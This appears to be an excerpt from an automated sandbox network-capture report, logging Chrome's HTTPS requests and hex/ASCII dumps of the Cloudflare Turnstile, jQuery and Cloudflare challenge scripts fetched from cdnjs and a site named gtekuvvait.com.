2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 67 26 26 4a 28 73 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 Data Ascii: uct:Ie=function(c,l,g){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return g&&J(s,g.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function(a){return a.__proto__\|\|Object
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 55 28 72 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 Data Ascii: flare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Tt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(U(r,HTMLScriptElement)&&e.test(r
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 73 2e 69 64 3d Data Ascii: f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.className="cf-turnstile-feedback",s.id=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49730	104.17.25.14	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:09 UTC	380	OUT	GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:09 UTC	939	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:09 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"63091225-797c" Last-Modified: Fri, 26 Aug 2022 18:34:13 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 21021 Expires: Sun, 21 Sep 2025 13:08:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mO7izHt%2BcDtlKMpHISRXPKRw5De9K8x8K24Z3RE%2F%2BJtlflaQ9WhigaiBjgNnOjNeFPvV2wuNFdiwC3xR7YAftMNOX6v%2Bebz%2Fdc%2BeMUKp%2B3v%2Fdo96RBkZeAN%2Fg98ih3wd8vmOfvbX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cbcae09f9424414-EWR
2024-10-01 13:08:09 UTC	430	IN	Data Raw: 37 62 66 33 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 7bf3/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 79 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 79 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 76 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 26 26 22 66 75 6e 63 74 69 Data Ascii: =t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"functi
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f Data Ascii: n this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b Data Ascii: ak;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i+
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 Data Ascii: .\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 Data Ascii: function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.a
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 Data Ascii: e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}funct
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 Data Ascii: nt\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d Data Ascii: AttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElem
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 Data Ascii: tAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.queryS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49726	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:09 UTC	939	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
2024-10-01 13:08:10 UTC	650	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8102 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vTfybFONURxdllnGO4gP0WnwNbQ665pYfQXVO5cuuNC2aXAEqHeBZ121r7MXDwjrkpRItb295ydCuHjlM%2F38DEjMSpFA2Y9JFCit2Vc%2Fo%2FDNZ3neWplEiyZbUEJsd3jyxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcae0a9e010f88-EWR
2024-10-01 13:08:10 UTC	719	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 67 2c 68 2c 69 2c 6a 2c 6e 2c 6f 2c 76 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 55 2c 66 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 64 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 70 61 72 73 65 49 6e 74 28 55 28 33 36 32 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 55 28 33 34 30 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 55 28 33 32 35 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 33 32 36 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 33 39 31 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 33 35 33 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 55 28 33 34 33 29 29 2f 37 29 2b 70 61 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,v){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(362))/1(parseInt(U(340))/2)+parseInt(U(325))/3(-parseInt(U(326))/4)+-parseInt(U(391))/5+-parseInt(U(353))/6*(parseInt(U(343))/7)+pa
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 32 29 5d 26 26 43 5b 61 30 28 33 39 36 29 5d 3f 43 5b 61 30 28 34 31 34 29 5d 5b 61 30 28 33 39 32 29 5d 28 6e 65 77 20 43 5b 28 61 30 28 33 39 36 29 29 5d 28 48 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4e 2c 61 31 2c 4f 29 7b 66 6f 72 28 61 31 3d 61 30 2c 4e 5b 61 31 28 33 37 36 29 5d 28 29 2c 4f 3d 30 3b 4f 3c 4e 5b 61 31 28 33 36 31 29 5d 3b 4e 5b 4f 5d 3d 3d 3d 4e 5b 4f 2b 31 5d 3f 4e 5b 61 31 28 33 39 30 29 5d 28 4f 2b 31 2c 31 29 3a 4f 2b 3d 31 29 3b 72 65 74 75 72 6e 20 4e 7d 28 48 29 2c 49 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 49 3d 49 5b 61 30 28 33 34 31 29 5d 5b 61 30 28 33 35 32 29 5d 28 49 29 2c 4a 3d 30 3b 4a 3c 48 5b 61 30 28 33 36 31 29 5d 3b 4b 3d 48 5b 4a 5d 2c 4c 3d 6c 28 43 2c 44 2c 4b 29 2c 49 28 4c 29 3f 28 4d Data Ascii: 2)]&&C[a0(396)]?C[a0(414)][a0(392)](new C[(a0(396))](H)):function(N,a1,O){for(a1=a0,N[a1(376)](),O=0;O<N[a1(361)];N[O]===N[O+1]?N[a1(390)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(341)][a0(352)](I),J=0;J<H[a0(361)];K=H[J],L=l(C,D,K),I(L)?(M
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 28 33 38 32 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 54 3d 31 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 4f 3c 3c 31 7c 54 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 36 28 33 38 32 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3d 30 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 61 36 28 33 39 33 29 5d 28 30 29 2c 47 3d 30 3b 31 36 3e 47 3b 4f 3d 31 2e 32 37 26 54 7c 4f 3c 3c 31 2e 31 2c 50 3d 3d 45 2d 31 3f 28 50 3d 30 2c 4e 5b 61 36 28 33 38 32 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 4b 2d 2d 2c 4b 3d 3d 30 26 26 28 4b 3d 4d 61 74 68 5b 61 36 28 33 32 32 29 5d 28 32 2c 4d 29 2c 4d 2b 2b 29 2c 64 65 6c 65 74 65 20 49 5b 4a 5d 7d Data Ascii: (382)](F(O)),O=0):P++,T>>=1,G++);}else{for(T=1,G=0;G<M;O=O<<1\|T,E-1==P?(P=0,N[a6(382)](F(O)),O=0):P++,T=0,G++);for(T=J[a6(393)](0),G=0;16>G;O=1.27&T\|O<<1.1,P==E-1?(P=0,N[a6(382)](F(O)),O=0):P++,T>>=1,G++);}K--,K==0&&(K=Math[a6(322)](2,M),M++),delete I[J]}
